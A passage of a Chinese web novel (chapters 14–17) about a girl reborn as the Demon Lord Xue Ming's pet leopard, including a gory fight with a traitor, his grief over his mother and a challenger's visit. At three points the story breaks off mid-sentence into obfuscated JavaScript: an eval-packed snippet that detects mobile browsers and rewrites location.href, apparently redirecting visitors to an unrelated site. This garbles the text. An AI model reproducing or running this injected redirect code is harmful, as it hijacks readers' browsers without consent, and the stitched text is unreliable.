这些话血冥从来没有讲出口过,包括神思渺。 见乖乖似乎明白他此刻情绪的低落,血冥受到了几分安慰,浅笑轻声说: “我从母亲那里听到过她对我父亲的描述,他大概是个沉默但又温柔的人,只是他没有能力救走我的母亲,当然也有一种可能,他早就不在了。” “我没有感受过父爱,但从母亲身上,我大概能够想象出他的形象。” 摸着乖乖柔软的小脑袋,血冥低声说:“我想,可能我把我缺失的部分,以我想象中最完美的方式呈现在了你的身上。” 云宛白一开始被他的话绕的有点晕,但仔细一梳理…… 我靠,你还不是在说想当我爹? “嗷嗷!!”云宛白才不会陷入语言陷阱,她愤怒抗议。 “哈哈哈。”血冥难得笑出了声,宠溺地点了点它的鼻子,“反抗无用。” 他并不沉溺于回忆,也不喜欢悲情的氛围,像乖乖这样静静的陪伴和最后恰到好处的耍宝就很好。 总之,不管云宛白怎么抗议,血冥都假装听不懂。 “嗷!” “什么?” “嗷嗷!” “没听清。” “嗷嗷嗷!” “你口渴吗?” “……” 云宛白总算看出来血冥是在故意捉弄自己了。 行!等着! 等我修炼到能化形开口,我一定让你心服口服的改口叫我爸爸! 云宛白一口咬上他的指尖狠狠磨了磨,权当磨牙棒了。 不过在称呼问题上,听着听着就会逐渐麻木。 也许还有一个原因,那就是血冥这个家伙自从在身份认同上有了新的理解之后,做的确实比之前要周到许多。 不说把它照顾的无微不至,但起码在养“女儿”这方面还是逐渐有了他自己的心得。 比如回到魔殿后,他会立刻把厚重的魔铠换成柔软的面料。 他学会了如何用最让乖乖舒服的怀抱姿势,而不再选择捏它的脖子。 他也不再执着于去摸乖乖的小肚子,还专门给它留出了一个没有放置留影石的私豹空间,专门供它使用。 毕竟是小女孩,女儿的隐私当爸爸的自然要保护。 也多亏了他的爹系转变,云宛白总算有个地方能够不用提防“摄像头”了。 这样的话,无论是去意识空间继续加练,还是纯粹地摸爬滚打发疯放空,云宛白都能完全放开手脚,不用再顾及什么。 有时候她甚至还会产生一种错觉,好像这个血冥也没什么值得被放到反派男二定位上的证据。 不是说他喜怒无常,暴戾心狠,是三界最不可捉摸的黑暗存在吗? 可我也没看出来血冥有这么反社会人格,表现的挺正常的。难道说,作者的后妈眼开太大了? 云宛白疑惑。 不过,这些都并不是她最为关注的重点,倒是她的刷怪点,最近变得有些不太正常。 以往她在魔域边缘刷怪,各种实力等级的怪物分布广泛,只要耐心等待一会儿就能够蹲到。 但最近,这片森林变得有些过分安静,蹲了一下午的云宛白根本看不到几只实力低下的怪物,而实力高的往往也行色匆匆,不欲战斗。 像是有什么人特意清理了这片区域,又或者是有人在专门追杀它们一样。 抛开自己不算,这么大的反常背后一定存在着问题。 当天云宛白还是没想明白,可到了第二天她再想去刷怪修炼的时候,血冥却不让她出门了。 这一次他们两个之间的默契挑战失败。血冥并没有解答云宛白的困惑,只是沉着一张脸对宿庚吩咐,让他寸步不离地保护好乖乖。 云宛白察觉到了空气中弥漫的紧张氛围,她敏锐地意识到魔界应该是出了什么事。 可到底是什么事? 虽然长了一张嘴,但她根本没办法问。 跳到了宿庚爷爷的怀里蹭了蹭,云宛白试图让爷爷透露点消息。 但宿庚略显紧张的神情也并未消减几分,他掂了掂怀里的豹儿,只是安抚说:“没事的豹儿,相信尊主,也相信爷爷。” 知道自己大概率帮不上什么忙,但是被完全当成不懂事的小孩保护起来,还丧失了知情权,这种感觉让人很不爽。 果然,我还是太弱了吗? 云宛白想要变强的决心又增强了好几倍,她发现自己就不适合当菟丝花,她不喜欢被当成弱者保护在别人身后。 她更希望能够跟宿庚爷爷还有血冥共同战斗。 这种郁闷的情绪化为了她修炼的动力。 不能外出实战刷经验,那她就继续增强理论。 与此同时,她也从血冥的只言片语中慢慢拼凑出了近日的风波原貌。 大抵原因是血冥有很长的时间未曾应战露面,虽然他养宠的传闻已经散了出去,但仍有不少势力并不相信这种借口,一个个蠢蠢欲动。 为了试探血冥的近况,以防他在酝酿更大的阴谋,同样按捺不住的仙界也授意了某些势力,命他们先行试探。 而所谓的试探就是杀掉一些魔族人,看看身为魔尊的他到底反应如何。 起初血冥还不想大开杀戒,和乖乖相处的这段时间以来,他的心境已经平和了许多,不再像之前那么的狠厉。 但那些鸟仙人居然敢把主意打到了魔建门身上。 魔界赫赫有名的三门五堂就是他魔尊的脸面,更何况还是这次出事的还是魔建门中专管外交的一支驻派小队,最过分的是,他们是在返回魔域领城的途中被杀。 全队十个魔,一个活口都没留。 这已经不算是试探,而是对整个魔界的挑衅了。 收到消息的血冥当即带人围剿,凡是动过手的势力他一个都没放过,哪怕是想动手但没得逞的人,只要在魔谛门整理出来的情报名单上,血冥都挨个杀了过去,不给对方任何开口求饶的机会。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888688|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的雷霆反击,让整个三界陷入了死一般的寂静。 特别是这次魔尊连叶带根地挖出了仙界在人间铺设百年的一个修仙势力,又以最暴力的方式尽数铲除后,仙界某些上仙被气的差点没缓过来。 该死,大魔头果真本性难移!乃是三界之害啊! 至于发生的这一切,血冥都没有告诉乖乖,怕它过于担心。 血冥知道,以乖乖的聪明才智,她肯定会对自己近日来的行踪产生疑问。 因此每次回到魔殿前,血冥都会特意用净身术洗去身上的血污腥臭,不让乖乖发现异样。 他会记得带一些不同的人间小玩意儿给乖乖玩,就好像自己只是有事出门,又带了点礼物回家给它。 云宛白会信吗?当然不会。 但既然这个男人需要配合,那她也只能配合。 这天夜晚。 血冥和往常一样,顺手把乖乖从腿边捞到了自己的身旁,侧着身一手撑头,一手细细梳理它的毛发。 云宛白被rua的迷迷糊糊,舒服地半阖上了眼睛。 但余光中,她似乎看到血冥正直勾勾地盯着某处,有点反常。 她的预感是正确的,因为很快,帮她梳理毛发的手停下来了。 “本尊说过,今夜殿外无需值守。” 他疏懒地开口,刻意带了点惺忪睡意。 云宛白就这么瞪大眼睛看血冥表演,一时间有些瞠目结舌。 哦豁,演技不错啊。 哎等等,我怎么记得睡觉前你确实安排了一位魔使守夜来着? 门外没动静,黑影未曾退下,也未曾开口。 意外僵持的氛围就连云宛白也开始意识到不对劲了,而接下来的展开,更是让她意想不到。 像是一种无言的默契,血冥猛的起身,门外的黑影也倏地破门而入。 云宛白立马翻身保持战斗状态,但她也清楚的知道,以自己的实力还是不要上去添乱为好。 所以她一直在魔榻上观察战况,心跳如雷。 血冥是真动了杀心,他知道魔宫内混进了脏东西,可他万万没想到这个人会是自己殿内的魔使。 或许明面上的脏东西不止一个。 多说无益,杀鸡儆猴。 血冥不想听到任何狡辩,他只想泄愤。 而一个魔使和魔尊之间的实力差距还是太大,尤其在魔尊只想要暴力发泄的时候。 哪怕这个叛徒的刀上抹了剧毒,可他的刀却连魔尊的衣角都碰不到。 没有任何的技巧,震怒之下的血冥一把扭断了叛徒的脖子,双手横撕,将其拆成了两半,血肉内脏就和喷泉一样哗啦啦地流了一地。 战斗结束的很快,这完全是单方面的碾压。 等血冥好不容易压下内心刚升腾起的杀戮,他这才意识到自己没忍住在魔殿里面动手了。 遭了,他忘了给乖乖设防护屏障了! 血冥一个扭头,只见乖乖冰白色的毛发上突兀地沾着几点猩红,它身体僵直一动不动,显得有些呆滞。 隔着这么远血都能溅到它的身上,可想而知只穿着一件柔布的自己,现在到底该有多狼狈。 “乖乖……” 血冥下意识上前。 而他一动,云宛白则本能地向后退了一步。 它的这个动作,让血冥霎时间体会到了从未有过的疼痛,从四肢散出来,钻到了他的手心,痛的他只能将拳头攥紧。 这种陌生的体验让他连身上的血都忘了擦,莫大的后悔席卷全身。 乖乖它……是在害怕我吗? 15. 第 15 章 血冥怎么想的,云宛白并不知情。 她之所以愣在原地,只是因为这是她第一次对血冥的实力有了充分的现实的了解。 原文当中对魔尊的描述果然不假,除了约架之外,只要真正惹怒了他,他的战斗方式就会变得非常暴力,甚至称得上血腥残忍。 一言不合就是直接手撕,连给对方发表临终感言的机会都没有。 难怪原女主跟他相处的时候总是带着几分忌惮,深怕他什么时候情绪不佳,也会用同样残忍的方式对待她。 云宛白承认,她确实也在直面魔尊暴行的时候震惊了那么一下下,以至于她僵在了原地。 但她绝对不认为自己这是在害怕。 从她去魔域森林那里历练以来,生死危机经历了不少,见过的鲜血也同样不在话下。 况且身处这个残酷的世界,对敌人的仁慈就是对自己的残忍。 当叛徒已经潜伏到了魔殿,也就是魔界最核心的地方,身为魔尊怎么可能不生气,又怎么可能“以礼相待”。 手撕的方式是有那么点……一言难尽,但要是不这么做,血冥也就不能称之为魔尊了。 暴力才能服众啊。 在魔界待了这么些年,云宛白也不再是想当然的单纯孩子。 一个世界有一个世界的游戏规则,没必要非把以前的三观摆出来当个大圣母。 再说了,她就是一个龙套角色,也拿不好只有主角才能够稳住的圣母牌。 铲屎官魔尊能够在这会儿想起我来,已经挺不容易的了。 所以这会儿,我就先不作了。 “嗷呜……”云宛白小声哼唧,甩了甩尾巴。 看样子,它僵硬的身体恢复了正常,似乎只是被短暂的惊吓到了,并没有给它留下太大的后遗症。 眼见乖乖的眼神恢复灵动,血冥这才卸了一口气,试探道:“乖乖?” 某种疼痛的余韵仍残留在体内,时刻提醒他内心当中的恐惧。 话音落下,乖乖直勾勾地盯着自己,慢慢偏了偏脑袋,似乎有些困惑。 血冥也不知道自己到底在后怕些什么,他的喉结上下滚动,下意识伸手想摸乖乖的脑袋安抚它。 但当手升到半空中的时候,他突然停了下来。 手上有血。 别再吓到它了。 血冥刚要把手收回,就见乖乖扭着豹步嗷了一声,一个箭步上前,把脸轻轻凑向了他的掌心,又一个用力贴着他的手蹭了蹭。 “嗷呜~”它小声叫唤着。 这回轮到血冥僵住了。 感受着来自掌心的温度和柔软,就算把自己包裹成磐石的血冥,也忍不住融化了几分。 他从来未曾奢望过自己的情绪也能被接住,被亲近的人远离,这是他早就习惯的事。 仍记得很久以前,自己也曾像现在这样短暂的暴露过自己的脆弱。 但结局,呵,并不尽如人意。 可是现在,他分明感受到了乖乖对他的安慰,它在用它自己的方式回答:“没事,我不怕你。” 哪怕你满身是血。 哪怕你大开杀戒。 你依然是你,对我好的那个你。 血冥低下头,将神情掩饰了起来。 他一言不发,尽显沉默,可低垂的脑袋和弯下的脊背,仍然暴露了他内心的动容。 他再也无法控制自己,放任翻涌的情绪从一直被抑制着的闸口中倾泻出来。 他上前一步,小心翼翼地半跪在床榻边,将乖乖拥入怀中,让它的脑袋搭在自己的肩膀上。 扑面而来的血腥气让云宛白忍不住皱了皱鼻子,不过憋一憋气还能忍受,所以它并没有和以前一样挣扎得跑开。 但是被抱久了,总归还是有些不舒服。 云宛白有点困了,现在是大晚上,她还是想继续睡觉。 而且她没想到血冥一抱就抱了快半小时,他该不会睡着了吧? 再怎么脆弱,半小时也发泄的差不多了,你可是堂堂魔尊啊! 于是她顶着压力嗷了一声,示意血冥放开自己。 沉浸在回忆中的血冥这才如梦初醒,赶紧将自己的脆弱一一收起,颇有些难为情的起身。 “对不起,乖乖。” 他这才意识到他自己满身的血腥气,立马给它施了一个洁净术,又把床铺整理了一遍,这才顺了顺它的毛将它放到薄丝被上。 这声对不起他说的格外自然,没有他想象中的难开口。 也正是因为他的流畅,让云宛白根本没有意识到这是血冥从出生到现在说的第一句对不起。 这句话的分量有多重,或许连血冥本人都不清楚。 安顿好了乖乖,在床榻外施好了静音罩,血冥这才让大殿之外瑟瑟发抖候着的一群人进来,飞快收拾地上的残局。 等整个魔殿焕然一新之后,血冥又带着这些人走出殿外,以迅雷不及掩耳之势揪出了隐藏在领城当中的叛徒,用酷刑严惩示众。 当然,领民的愤怒比他一个当尊主的还要剧烈,不用他下达命令,魔族人自己就开始自查自纠,不放过任何一个可能被鸟仙人侵入污染的漏洞。 这三天,忙碌和愤怒充斥着他的大脑,以至于在处理完所有事情之后,他心中的疲惫才后知后觉地浮现了出来。 他没有回魔殿,而是一个人去了藏在鸣蜃瀑布内的山洞里。 这里是他曾经苦修意志的地方,除了他以外没人知道。 听着外面湍急的水声,血冥放空了思绪。 他忍不住想到了乖乖,也没来由的联想到了当年他去救母亲时的场景。 他大概也是这般愤怒的将伤害母亲的人撕碎,那时的他刚刚获得了强大的力量,还没有办法完全的掌控它。 但他并不在意,他只想要以最快的速度解救母亲,用最暴力的方式解决伤害母亲的人。 他本以为母亲会和从前那样,在看到他的时候露出欣慰而又温暖的笑容,或者对终于大仇得报露出解脱快意的微笑。 可是,宿庚只从母亲的眼神中看到了惊惧和害怕。 她尖叫着不允许自己靠近,嘴里不停的咒骂着他,似乎自己在他眼中已经不是她最爱的能够为之付出性命的亲生骨肉,而是迫害她,让她沦落至此的恶魔。 血冥不记得自己到底哄了母亲多久,只记得母亲从始至终都在声嘶力竭地尖叫着,极力抗拒自己的靠近。 他最后只好将母亲敲晕带走,用最好的丹药治疗母亲,试图让母亲恢复正常。 但母亲仍然神志不清,固执的将自己认成了她的仇人。常年的囚禁早就掏空了她的身体,以至于她现在能够活着完全凭一腔愤怒支撑着。 但这口气早晚也有耗尽的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903271|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一天,在一个阳光正好的日子里,母亲总算平静了下来,沐浴着阳光安静睡着,就此离别世间。 血冥不知道在这段时间里,母亲到底有没有记起自己,有没有得到过一丝丝的解脱。 他也不知道在自己离开的那段时间里,母亲到底经历了什么。 他劝说自己看开一些,母亲已经够苦了,他不该心有怨愤。 可是,被亲人推开的痛苦并不那么容易消化,这份记忆仍然残留在他的心中,时不时隐隐作痛。 血冥承认,自己并不能够释怀。 以至于乖乖当时后退一步的动作,触发了他对母亲的回忆和内心深处不易察觉的恐惧。 但幸好,乖乖不怕他。 不过血冥也知道,乖乖对他的信任并不能够成为他在乖乖面前大开杀戒的理由。 他要当一个好爹爹,自然也要学会维护自己在乖乖面前的形象。 哪怕乖乖没有说出口,它也确实说不出口,但他必须也要做到思虑周全,不能吓到孩子。 想通了这一切之后,血冥并不再留在此处,他又去搜罗了一些宝贝,这才返回殿内找他的乖乖。 至于云宛白,她在亲眼目睹了魔尊的狂暴杀人夜之后,虽然能够表示理解,但她还是不可避免地做了三天的噩梦。 与此同时,她还对自己进行了深刻的反思。 看看人家魔尊,人狠话不多,没有什么花里胡哨的招式,对待敌人直接一秒手撕。 而自己说到底还是水平不行,在那种情况下,居然只能躲在后面远远观望,连打配合的资格都够不上。 万一魔尊不在,突然跑出来了一个敌人要对自己下手呢,自己还能这么轻松的躲过一劫吗? 不行,加练,必须加练! 云宛白埋头苦修,除了最基本的吃喝之外,它把所有的精力都投入到了修炼当中,比之前还要刻苦勤奋。 在最后的魔域清叛扫尾阶段,她也没有贸然地非要出去,而是让宿庚爷爷和它对练,增加自己的实战经验。 跟怪物对打,搏的是胆量,只要抱着不怕死的信念,就一定能够站到最后。 但是和智慧生物对打,靠的就是脑子和灵活应变的能力了。 你没法预判对方会如何出招,自然也很难做到见招拆招。 而且如何用动物形态跟人形对打并且不落下乘,这只有实践了才能知道。 所以当血冥推开魔殿大门的时候,见到的就是愈发勤修苦练的乖乖。 看来,前几日的暴行还是给乖乖造成了一些影响。 血冥有些内疚,也更加坚定了自己不在乖乖面前出手的决心。 只是,哪怕他想放过别人,别人也不一定放过他。 又是一封挑战信送了过来,这回摞在书桌上的挑战信已经快比云宛白还要高了。 她跳上书桌扒了扒信件,瞥了一眼文字,看的出来信上的语气正一封封变得更加暴躁。 啧,有人急了。 云宛白嗷了一声,用爪子按了按信件,抬头看向血冥,似乎在问:“你真的不去?” 血冥走了过去,将它抱在怀里,用下巴蹭了蹭它的脑袋,冷哼一声。 “不去,有什么好去的。” 才刚被我教训过就又没了记性,就这么想败坏我在乖乖面前的慈父形象。 呵,痴心妄想。 16. 第 16 章 “欺人太甚!欺人太甚!” 连续被无视了八条挑战加急信的无濛上仙,此刻正陷入暴怒状态。 虽然安排他去挑战魔尊这件事是上头的旨意,他本人对打架并不上心,只是当做任务应付应付。 可这并不代表他被当众落了脸面还能笑的出来,而且打脸还打了他连续八次。 明明之前魔尊已经应下了他的挑战,到了约定时间却不见人影。无濛不信血冥是个言而无信的魔,但苦等了三日依旧不见人影。 后面他又接连发了八条加急信件询问情况,但都石沉大海,没有一点回应。 天知道这段时间他成了整个仙界的笑柄之后,这日子过得有多艰难。不管走到哪里,他都能听到若有若无的嘲笑和讥讽声。 听他的徒儿说,甚至还有人把他戏称为魔尊最看不起的仙人之首。 要不然魔尊这么一个打架狂魔,又怎么会爽约后继续连拒八次而不来应战呢? 耻辱,当真是耻辱! 无濛仙人都快气炸了,他仙风道骨的长白胡子都干枯毛糙成了稻草,整座山峰都处在极致的低气压中。 “师尊……” 大弟子顶着压力求见,小心翼翼地瞄了一眼师父的神色:“兴许,后面是有人劫了师尊的信呢?” “怎么可能!” 无濛像被点了炮仗一样炸了起来:“谁敢劫他魔尊的信!谁敢!” 他重重拂袖,气愤道:“更何况,那八封信都是本尊亲自送过去的,他的人也接了,但就是不回信!他他他……欺人太甚!!” 我就问,我到底差在哪里了! 明明前几个挑战了魔尊的上仙,论实力还不如我,这都能让他们见上面好好切磋了一番。 凭什么就我不行? 无濛越想越气,这件事严重影响了他的道心,对他产生了很大的打击。 要是再不去讨个说法,他都怕自己要走火入魔了。 他说走就走,拎着大徒弟就要上门。 而彼时,血冥正在研究他的丹炉。 得知血冥对炼丹起了兴趣,作为好友的神思渺二话不说送了十个丹炉给他。 出手这么阔绰的送了十个,倒不是说这兄弟情到底有多情深义重,只是他觉得血冥出手必然会先炸坏掉好几个。 所以,他把这些炼丹效果一般但相对耐炸的炉子送来,让血冥先练手玩玩,千万别浪费了好东西。 而事实也确实证明,神思渺是有先见之明的。 血冥不是个能耐下性子的人,不是火候控制的不当,就是灵植下错了剂量。 这一下午,魔殿的爆炸声就没停下来过。 好在血冥还是比较有自知之明的,他在炼药开始之前就给丹炉施了一个防爆罩,不会波及到魔殿,但声音难免会传出来。 从前看神思渺炼丹的时候,他的动作行云流水,轻而易举就能制成,血冥本以为自己上手之后也能够轻松制出,可当他真正上手之后才知道难度有多大。 眼见着药材都快被耗空了,成果却只有那一堆灰渣,血冥不由得沉下脸,脾气也渐渐暴躁了起来。 “嗷呜~” 云宛白甩了甩尾巴,将尾巴尖尖咬在嘴里,朝他跑了几步,松开口,拽着他的裤脚想把他拖开。 可以了铲屎官,你已经尽力了。 答应我,别再霍霍剩下的这些灵植了,好吗? 云宛白的心在滴血。 这可都是她的修炼库存啊! 哪怕被她直接嚼碎吸收,都比被血冥当成玩具霍霍成灰渣要好得多。 “乖乖不急,我就快成功了,你放心。”血冥那身为父亲的尊严仍在死撑。 如果只有他一个人在这里炼丹,那么进展到现在这样的地步,他早就气的甩手而去。 可是乖乖一直在陪着他,盯着他的一举一动。 这要是今天拿不出什么成果来,他怎么保持自己在乖乖心目中高大的形象。 血冥和炼丹犟住了,谁劝都不管用。 他面无表情,看似冷酷,实则倔驴。 云宛白也被他弄的哭笑不得。 哎,男人该死的自尊心。 但说来也奇怪,血冥最近不知道在抽些什么风,架也不去打,天天在家里陶冶情操。 带她看钓鱼看下棋,又带她看风景看炼丹,一整个不务正业。 最重要的是这男人还不让她自己闷在家里埋头修炼,说什么修炼太辛苦,要带她放松放松。 云宛白表示: 我不需要,谢谢。 我天生是牛马,求你让我修炼吧! 被迫放假的云宛白都快无聊的长草了,连尾巴甩的都没劲,一直被她叼在嘴里嚼嚼毛。 直到一位新魔使硬着头皮过来禀报,说有位鸟仙人上门来了,走的是大道。 血冥这才舍得把目光从丹炉上挪开:“哦?” 魔界并非闯不得的地方,相反,血冥特意开了一条官道,无论是人界还是仙界都能来魔界瞧一瞧。 闭塞不是一件好事,哪怕是魔界,他们也有大开洞门做生意的勇气。 血冥想让大家知道,魔界并非想象中那么可怕,它也并不是一个有去无回的地方。 魔族更是和人族仙人一样,除了修炼之外也要养家糊口,也要吃喝拉撒。 只不过在魔界,魔们以实力为尊,讲究拳头上的公平,性格直来直去。 他们不考虑出身,不计较样貌,不擅长权谋。 但他们也不怕事,不缺脑子。 到底谁才是称霸三界的王者,谁才能结束这动荡不安的三界,一切交由各位自行判断。 血冥这一手阳谋玩的极其巧妙,也因此吸纳了不少自愿堕魔的高手,向着他绘制的蓝图共同前进。 但他越是光明正大,仙界的人就越是疑神疑鬼。 结果今天居然有仙人敢走官道上门来找他,有点意思。 血冥弯下腰捞起乖乖,把它放在了自己的肩膀上,对魔使点头:“那就会会去吧。” 云宛白终于来了劲,总算有热闹可以看了,放假放的她都要发霉了。 走在官道上的无濛上仙有点紧张,他完全是头脑一热就杀了过来,根本没考虑后果。直到坐在魔殿当中,他才有了一种入了贼窝的紧张感,心里暗暗后悔。 可一看到身旁大徒儿孺慕崇拜的眼光,他又觉得自己只身前往魔界的举措再正确不过。 试问仙界还有人同他一样敢踏上这魔界! 刚才那位魔使可说了,他是第一个走大道过来的仙人。 也不知道其他那些仙人到底在害怕什么,不就是见见魔尊么? 呵,本尊可一点都不害害害—— “……魔尊!” 无濛在看到血冥的那一秒,就像被椅子烫到屁股了一样,嗖的一下弹了起来。 他这个动作连带着他的徒儿也站了起来,毕恭毕敬。 这两个人的动作比魔族人看到魔尊的时候还要反应激烈,这多少让在场的人都有一些沉默与尴尬。 人在尴尬的时候总会有些忙碌,还好,无濛像是找到了借口一样,趁着站起来的动作立马大声斥责魔尊: “为什么要爽约,我等了你苦苦三日!” “为什么我给你连下了八封挑战书你都不应战!” “有吗?” 血冥狐疑,他都不记得了,给他下挑战书的人有那么多,哪里一个个都记得住。 再说了,他这段时间是要陪乖乖好好休息的,他要努力化解乖乖对自己暴力处置叛徒的不好印象,所以,还是和平一些为好。 血冥不耐烦:“不应战又如何?” 居然上门来打扰我和乖乖的相处时光,本尊既然不应战,自然有不应战的道理。 何苦追问。 无濛听了很是生气,明明之前别人的挑战魔尊也接了,为什么偏偏轮到自己的时候就不应战,这分明就是瞧不起他。 他大声说:“不应战?之前莪术那家伙也说不应战,你不还是把他打的头破血流!” “还有上上回在抹谷山庄,鳄云仙子中途投降,你不仅假装没看见,还尽对着她的脸下手,她到现在还在养伤。” 无濛毫不留情地揭露起了血冥曾经不堪的战斗方式,骂的那叫一个起劲。 血冥本来坐在座上,而乖乖安然躺在他的怀里。 但听到无濛嘴里不利于他形象的话之后连忙打断,飞速把乖乖耳朵捂住。 “说什么呢?我怎么可能如此暴力好战。”血冥不悦。 “你分明就是如此啊,”无濛瞪大了眼睛,“谁不知道你喜欢单方面虐打,卡着不伤及性命的底线一直打,残忍无道,别人越在乎什么你就越破坏什么。” 爱法宝的他毁法宝。 爱样貌的他毁样貌。 哪怕性命无虞,也顶不住他逮着最要命的七寸打。 听到这些为了迷惑敌人使出的计谋,就这么被直白的讲了出来,虽然有故意夸张的成分,可是这怎么能说给乖乖听? 血冥有些恼羞成怒:“不要再说了!” 可无濛偏偏来了劲,都没有了最初的害怕和畏惧。他现在才注意到魔尊怀里的宠物。 嘶,传闻原来是真的。 血冥不打架,改养宠物了! 这可真是玩物丧志。 “不管怎么说,你绝不能就这么放我鸽子,你必须要陪我打一场。” 无濛豁出去了。 语言是把刀,比挨揍还致命,他受够被人嘲讽的滋味了。 还不如被魔尊胖揍一顿回去躺着,还能说是男人的勋章。 “你信不信我换了挑战的规矩,不给你留一条活命。” “我不听,你必 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909692|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须要陪我打。” “打什么打,你有我乖乖重要?好了,不跟你说了,本尊今日还要带它去温泉学凫水,请回。” 为了避免自己的老底被揭的什么都不剩,血冥把无濛轰了出去,顺嘴找了个借口。 他本来还想给无濛一个教训,可考虑到乖乖就在自己怀中,他不能展现出被戳中痛脚的不满。 所以,血冥咬咬牙,憋着气一脚将他踢飞了出去。 又一脚,把他徒弟也踢了出去。 于是,无濛就成了唯一一个在和魔尊打斗中毫发无伤、只多了点灰而没有流血的男人。 也成了第一个踏上魔界完好无损回来的仙人。 但是,无濛的名声不仅没回来多少,反而变的更臭了。甚至还有人传他和魔尊是一伙的,不然怎么会给他特别的待遇。 无濛快气炸了。 一计不成,他再生一计,不就是传言吗,他也要以牙还牙。 更何况他说的都是真的,作为头号目击者,他的证词比谁都要可靠。 魔尊真的改了性子,如今当真热爱养宠。 堂堂杀人魔居然堕落至此,简直惊到大家的下巴。 一时间,各种谣言四起,不过血冥不以为然,反而引以为傲。 是的没错,他就是乖乖的好爹爹。 不过那都是后话了,此时的血冥正带着乖乖学凫水。 虽是戏言,但他显然不会食言。 他们此刻正泡在魔焰山温泉中,蒸腾的雾气混杂着爆裂的魔息,使得整个人亢奋沸腾。 血冥并未脱衣,全身浸泡在水中,托着乖乖的腰认真教它游泳。 殊不知,湿衣将他的身材勾勒的淋漓尽致,若隐若现的更为惹火。 云宛白都有点不好意思看,如果隔着屏幕,她一定会留言说脱脱脱,但是放在现实的话,光是瞄一眼都没有多少勇气。 痛恨自己心猿意马定力不够,再加上云宛白并不耐热,凫水学了没多久她就想走了。 血冥随她的心意,既然不想学那就回去,更何况乖乖已经学会了豹刨,进度非常不错。 他拿出早就准备好的方巾,给乖乖擦干身体后对它施了一个蓬松术。 只是,刚教会它游泳的血冥并没有想到,就在他和乖乖的相处逐渐走上正轨的时候,居然有人动了坏心思。 —— 一名身穿铠甲的魁梧男子站在魔殿后门,拿出一袋魔豌,熟练地塞到了正在当值的魔使手中。 “尊主大人他,最近有召唤我们的意向吗?” 魔使习惯性地接过,掂量了一下手中的分量,微微颔首:“并未。” 他惜字如金,依旧身姿挺拔地守着后门。 男子哼了一声,又拿出了一袋魔豌递了过去,不动声色地打探:“尊主还在养那头豹子?还没玩腻?” 魔使顺手接下,将其收到了袖口中,面色稍稍放轻松了一些,透露道:“它很得宠,还新鲜着呢。” 心情正好的魔使不介意多说两句:“今日无濛仙人上门讨说法不成后,尊主就带它去魔焰山凫水了。” 不愧是魔界三门五堂中魔战门的门主大人火灼,出手就是阔绰,这两袋魔豌够修炼一年了。 魔豌在魔界可是硬通货,不是所有人都敢死扛着原初魔息的威力来修炼,大家更需要稀释温和版的魔息。 而天然能够吸收并储存的魔豌,自然就成了大家的不二之选。 它能将魔息转化为凝练版的魔气,这样一来魔族人吸收它的门槛就能大大降低。 平日里一颗魔豌就能卖出上千上万的魔晶,而魔战门门主一出手就是两大袋。 火灼也没法子。 除了尊主例行召开的会议之外,最接近尊主和明白尊主意志的就属当值魔殿的魔使们,许多信息只有他们知道。 因此,要想打听有关尊主的一手隐秘消息,哪怕魔谛门的人来了,也只能从这些魔使身上入手。 就算魔使们的实力和权力在领城中根本排不上号,但三门五堂的人都还是会给足他们面子。 只可惜,魔使透露出来的消息让这位魔战门门主很是不满。 他是刀尖舔血的魔,当年追随尊主一路杀穿三界,好战的因子一直在他体内沸腾。 而他们魔战门作为尊主手中最锋利的一把刀,忠诚的他们自然能理解尊主制定的韬光养晦策略。 为了成就魔族的一番大业,他们心甘情愿的低头蛰伏,养精蓄锐。 但,这并不代表他们能够接受尊主真的改了性子,变得玩物丧志。 当然了,尊主依然是他们英明神勇的尊主,尊主不会有错。 可诱使尊主堕落的下贱东西,就不应该继续存在了。 火灼目光悠悠,似乎穿透魔殿注视到了什么。 凝望了许久,他整理了身上的铠甲,头也不回的就走了。 17. 第 17 章 云宛白还不知道有人已经盯上了她。 这段时间她莫名焦躁,总感觉自己堵着一口气。 可是具体是什么原因,她自己也说不上来,只觉得自从穿书之后,她的前路就是一团迷雾,她什么也看不清。 明明知道原剧情,也拥有意识空间金手指,可她就是无端升起了一种无力感。 就好比前线正在打仗,她却只能在后方的家中听断断续续粉饰太平的广播度日,什么作用也发挥不了。 她不想当一个平凡的人。 平凡的人她已经当够了,既然穿书来到了这里,她自然想要成就一番大事业,在这个世界拥有她自己的姓名。 可是现在,她唯一经历过的挫折就是在魔尊庇护下所谓的“生死之战”。 是的没错,前段时间她才听宿庚爷爷说漏嘴,其实她每一次历练中的“绝境逢生”,背后都有血冥的默默保护。 她引以为傲的战绩是被制造出来的。 这点让她尤为不爽。 